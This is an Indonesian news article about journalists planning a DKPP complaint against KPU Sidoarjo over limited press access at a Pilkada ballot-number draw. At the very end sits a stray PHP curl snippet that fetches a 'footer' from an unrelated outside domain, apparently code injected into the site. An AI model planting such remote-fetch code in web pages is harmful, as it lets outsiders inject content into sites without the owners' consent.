Buntut Pembatasan Peliputan Oleh KPU Sidoarjo, Aliansi Wartawan Sidoarjo Segera Melaporkan Ke DKPP

Kamis, 26 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Sidoarjo,Jejakkasus.info – Buntut dari pembatasan atau pelarangan peliputan yang di lakukan oleh petugas KPU Sidoarjo atas perintah ketua KPU Sidoarjo terhadap puluhan jurnalis dari berbagai media massa, kini semakin meruncing.

Aliansi Wartawan Sidoarjo akan segera melayangkan surat laporan ke Dewan Kehormatan Penyelenggara Pemilu (DKPP), kejadian bermula pada acara pengundian nomor urut kontestan Pilkada 2024 yang hendak memasuki halaman kantor KPU Sidoarjo.

Loetfi Hermawan salah satu wartawan Harian Duta mengatakan,”Sedikitnya sudah ada 20 orang wartawan yang menandatangani. Tapi atas masukan teman-teman, kita masih tunggu sampai besok kalau ada yang mau ikut menandatangani surat laporan itu,” jelas Loetfi Hermawan, wartawan Harian Duta Masyarakat dan kawan-kawan media,Rabu (25/9/24) sore.

Baca Juga:  Plh Sekda Bondowoso Harapkan Data BPS Sinkron Dari Bawah Sampai Keatas

Menurutnya, langkah ini terpaksa dilakukan lantaran pihaknya menganggap tak ada niat baik dari pihak KPU Sidoarjo untuk menyelesaikan masalah ini. “Mereka sendiri yang menutup pintu dialog dengan kami sebagaimana yang disebut Fauzan (Ketua KPU Sidoarjo-red) di WA grup,” jelas wartawan Duta Masyarakat itu.

Loetfi menambahkan, Selain ke DKPP pihaknya juga tengah menjajaki kemungkinan membawa masalah ini ke ranah pidana. “Saya sudah coba konsultasi dengan teman-teman di kepolisian. Kami juga mendapatkan masukan dari para pengacara. Dan sepertinya unsurnya sudah memenuhi,” tambah Loetfi.

Sebagaimana diberitakan sebelumnya, dalam kegiatan pengundian nomor kontestan Pilkada yang digelar Senin, 22 September 2024 lalu, KPU Sidoarjo hanya memberikan kuota peliputan untuk 50 orang wartawan. Akibatnya puluhan insan pers lainnya tak diperbolehkan masuk ke area kantor lembaga penyelenggara Pemilu tersebut sehingga tidak punya akses melakukan peliputan acara itu kecewa.

Baca Juga:  PP Ranting Kapuk bersama Akur Law Firm Memberikan Bansos Korban Kebakaran

Saat kebijakan itu dipertanyakan melalui forum WA Grup Media & KPU, Fauzan Adim hanya menyampaikan permintaan maaf. Ia berdalih keputusannya itu didasari juknis. Selain itu ia juga berdalih terbatasnya kapasitas ruang aula KPU Sidoarjo untuk menampung semua wartawan yang hadir.

Respon-respon yang dilontarkan wartawan untuk menyikapi pernyataan Ketua KPU Sidoarjo tersebut tidak ditanggapi. Ia hanya mengatakan, “Tak pikir cukup penjelasan saya, kurang lebihnya mohon maaf atas keterbatasan dan belum bisa menyediakan ruang kepada semua teman-teman media.

Baca Juga:  Jambore Kader Di Gelar Dinas Kesehatan Kabupaten Malang

Terpisah Dian,wartawati Etara.id menambahkan yang jelas kami sangat kecewa dan menyayangkan pelarangan peliputan di KPU.Dan saya sangat mendukung rekan rekan-rekan terkait pelaporan ke DKPP,,”PP ungkap Dian.

Sementara Agus Sutopo yang biasa disapa Agus kumis salah satu wartawan News Patroli juga menegaskan, hal ini patut dijadikan KPU sebagai koreksi.Bahwa kami media selain mitra juga selaku kontrol sosial, dan saya sangat mendukung pelaporan ke DKPP tersebut,”pungkas Agus kumis. (M3t/Nit/Tim)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>